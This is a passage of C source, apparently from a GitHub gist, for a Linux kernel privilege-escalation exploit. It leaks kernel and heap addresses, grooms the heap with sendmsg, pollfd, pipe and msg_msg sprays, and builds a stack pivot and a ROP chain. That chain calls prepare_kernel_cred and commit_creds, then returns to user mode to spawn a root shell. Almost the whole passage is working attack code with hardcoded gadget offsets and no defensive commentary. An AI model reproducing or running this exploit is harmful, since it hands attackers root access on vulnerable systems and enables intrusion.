if ((kernel_base & 0xfffff) != 0) { | |
continue; | |
} | |
hexdump(key_data + j - 0x18, 0x20); | |
printf("3: Found heap addr %#lx\nkernel base %#lx\nshm_struct addr %#lx\n", heap_addr, kernel_base, | |
shm_struct_addr); | |
break; | |
} | |
} | |
for (int j = 0; j < 0xfff0; j += 8) { | |
if (*(uint64_t *)(key_data + j) == kernel_base + 0x121bbc0) { | |
pipe_addr = heap_addr + j + 0x18 - 0x10; | |
legal_page = *(uint64_t *)(key_data + j - 0x10); | |
printf("4: Found pipe %#lx, legal page %#lx\n", pipe_addr, legal_page); | |
hexdump(key_data + j - 0x10, 0x80); | |
pipe_free_addr = pipe_addr; | |
int k = 0; | |
while (*(uint64_t *)(key_data + j - 0x10 + k)) { | |
k += 0x400; | |
pipe_free_addr += 0x400; | |
} | |
printf("5: Found pipe free %#lx\n", pipe_free_addr); | |
break; | |
} | |
} | |
} | |
} | |
if (!(heap_addr && kernel_base && shm_struct_addr && pipe_addr && pipe_free_addr)) { | |
puts("Failed to leak addresses"); | |
return 0; | |
} | |
// since sendmsg spray chunks are not freed by now, | |
// we can do something might change the fengshui. | |
// prepare pollfd spray | |
init_fd(); | |
#define MSG_SND_N2 40 | |
// prepare sendmsg | |
sendmsg_init(MSG_SND_N2, 0x1f0, 0xf00, userfault_handler_forever); | |
// wait sendmsg to free automatically | |
for (int i = 0; i < MSG_SND_N; i++) { | |
pthread_join(threads[i], NULL); | |
} | |
memset(threads, 0, sizeof(threads)); | |
puts("Start Pollfd"); | |
// create pollfd and timeout with 3s | |
for (int i = 0; i < 0x20; i++) { | |
create_poll_thread(i, 4096 + 0x1f0, 3000); // TODO: change | |
} | |
sleep(1); | |
for (int i = 4; i < 20; i++) { | |
if (i != find_key) { | |
free_key(i); | |
} | |
} | |
free_key(find_key); | |
for (int i = 0; i < MSG_SND_N2; i++) { | |
((uint64_t *)sendmsg_msgs[i].msg_control)[0] = pipe_free_addr; | |
pthread_create(&threads[i], NULL, pthread_sendmsg, (void *)&sendmsg_msgs[i]); | |
} | |
puts("wait all pollfds freed, now pipe_free_addr should be freed"); | |
join_poll_threads(); | |
// enable the freed pipe_buf | |
for (int i = 0; i < NUM_PIPEFDS; i++) { | |
if (i % 2 == 1) { | |
if (write(pipefd[i][1], "pwneeeeeeeeee", 14) < 0) { | |
perror("[-] write"); | |
} | |
} | |
} | |
uint64_t prepare_kernel_cred = kernel_base - 0xffffffff81000000 + 0xffffffff81097960; | |
uint64_t commit_creds = kernel_base - 0xffffffff81000000 + 0xffffffff810976c0; | |
// uint64_t work_for_cpu_fn = kernel_base - 0xffffffff81000000 + 0xffffffff81089480; | |
// push rsi; jge 0x3247e8; jmp qword ptr [rsi + 0x41]; | |
uint64_t stack_pivot_gadget_0 = kernel_base - 0xffffffff81000000 + 0xffffffff811247e6; | |
// pop rsp; ret; | |
// uint64_t stack_pivot_gadget_1 = kernel_base - 0xffffffff81000000 + 0xffffffff81021a7b; | |
// add rsp, 0x78; ret; | |
uint64_t stack_pivot_gadget_2 = kernel_base - 0xffffffff81000000 + 0xffffffff813f643e; | |
// pop rsp; add rsp, 0x68; pop rbx; ret; | |
uint64_t stack_pivot_gadget_1 = kernel_base - 0xffffffff81000000 + 0xffffffff8134862c; | |
// pop rdi; ret; | |
uint64_t pop_rdi_ret = kernel_base - 0xffffffff81000000 + 0xffffffff8153e4d6; | |
// mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbx; pop rbp; pop r12; ret; | |
uint64_t mov_rdi_rax_gadget = kernel_base - 0xffffffff81000000 + 0xffffffff810fb3dc; | |
// pop rcx; ret | |
uint64_t pop_rcx_ret = kernel_base - 0xffffffff81000000 + 0xffffffff814b861c; | |
uint64_t swapgs_restore_regs_and_return_to_usermode = kernel_base - 0xffffffff81000000 + 0xffffffff81e00e10 + 22; | |
struct msg_struct *msg = malloc(sizeof(struct msg_struct) + 0x2000); | |
msg->mtype = 1; | |
// offset 0x8 | |
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[0] = 0xdeadbeefcafebab1; | |
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[1] = pipe_free_addr + 0x50; | |
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[2] = 0; | |
// offset 0x20 | |
*(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x41) = stack_pivot_gadget_1; | |
// *(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x70) = 0xdeadbeef; | |
// *(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x78) = 0xcafebabe; | |
// vtable: offset 0x50 | |
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[9] = 0xdeadbeefcafebab2; | |
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[10] = stack_pivot_gadget_0; | |
// ((uint64_t *)(msg->mtext + 0x1000 - 0x30))[11] = 0xdeadbeefcafebab4; | |
// ((uint64_t *)(msg->mtext + 0x1000 - 0x30))[12] = 0xdeadbeefcafebab5; | |
// ROP | |
int ii = 0; | |
uint64_t *rop = (uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x70); | |
// prepare_kenerl_cred(0) | |
rop[ii++] = pop_rdi_ret; | |
rop[ii++] = 0; | |
rop[ii++] = prepare_kernel_cred; | |
// commit_creds(*) | |
rop[ii++] = pop_rcx_ret; | |
rop[ii++] = 0; | |
rop[ii++] = mov_rdi_rax_gadget; | |
rop[ii++] = 0; | |
rop[ii++] = 0; | |
rop[ii++] = 0; | |
rop[ii++] = commit_creds; | |
// kpti ret | |
rop[ii++] = swapgs_restore_regs_and_return_to_usermode; | |
rop[ii++] = 0; | |
rop[ii++] = 0; | |
rop[ii++] = (uint64_t)&shell; | |
rop[ii++] = user_cs; | |
rop[ii++] = user_rflags; | |
rop[ii++] = user_sp; | |
rop[ii++] = user_ss; | |
assert(8 * ii <= 0x280 - 0x70); | |
for (int i = 0; i < 0x80; i++) { | |
// prepare msg_msg | |
int32_t qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); | |
// msg_msg | |
send_msg(qid, msg, 0x1000 + 0x280 - 0x38, 0); | |
} | |
puts("msg_msg done"); | |
for (int i = 0; i < NUM_PIPEFDS; i++) { | |
if (close(pipefd[i][0]) < 0) { | |
perror("[-] close"); | |
} | |
if (close(pipefd[i][1]) < 0) { | |
perror("[-] close"); | |
} | |
} | |
getchar(); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment